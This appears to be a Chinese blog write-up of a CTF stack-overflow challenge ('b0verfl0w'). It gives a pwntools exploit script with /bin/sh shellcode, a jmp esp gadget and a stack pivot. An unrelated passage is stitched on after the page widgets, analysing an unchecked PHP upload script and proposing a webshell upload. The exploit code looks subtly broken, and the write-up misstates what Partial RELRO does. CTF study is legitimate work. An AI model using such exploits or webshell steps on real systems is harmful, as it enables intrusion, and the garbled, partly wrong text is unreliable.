【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w

0x01 解题思路

  • 查看文件信息
    在这里插入图片描述
      没有开NX,可以向栈上写入shellcode。防护措施只开了一个Partial RELRO,这意味着每次栈加载的地址会变化。
  • 拖入IDA 32 bits查看
    main函数里只有一个vuln函数
    在这里插入图片描述
      显然存在栈溢出,但是只能输入50个字节,而填充的padding字段就需要0x20+4=36个字节,再加上EIP,一共40个字节,只有10个字节的shellcode基本找不到,所以需要考虑把shellcode放在payload的起始处,然后通过ROP跳转到输入点处执行shellcode。
      在不知道栈的确切地址的情况下,假设把shellcode附在payload的最后,如何获取shellcode地址呢?这里就需要一个简单的gadget:jmp esp。因为函数返回时的ret指令相当于pop eip;jmp eip,因此如果将记录返回后eip的内容替换为jmp esp这个gadget的地址,那么就会执行这个语句,而此时的esp刚好指向addr(jmp esp)的下一个位置,也就是跳转到之后栈上的语句执行,这样把shellcode放在此处就可以了。
      本题需要增加一个环节,也就是一个简单的stack pivot(栈指针劫持),把addr(jmp exp)之后的内存放上sub esp,0x28;jmp esp这两句代码,就可以跳转到输入点执行shellcode了。
  • 使用ROPgadget搜索jmp esp
    在这里插入图片描述
  • 使用pwntools的pwnlib库里的asm/disasm可进行汇编/反汇编
    在这里插入图片描述
    在这里插入图片描述

0x02 EXP

from pwn import *

io = process('./b0verfl0w')

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"

shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"

shellcode += "\x0b\xcd\x80"



sub_esp_jmp = asm('sub esp, 0x28;jmp esp')

jmp_esp_addr = 0x08048504

offset = 0x20
payload = shellcode
payload += 'A'*(offset-len(shellcode))
payload += 'BBBB'
payload += p32(jmp_esp_addr)
payload += p32(sub_esp_jmp)

io.sendline(payload)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值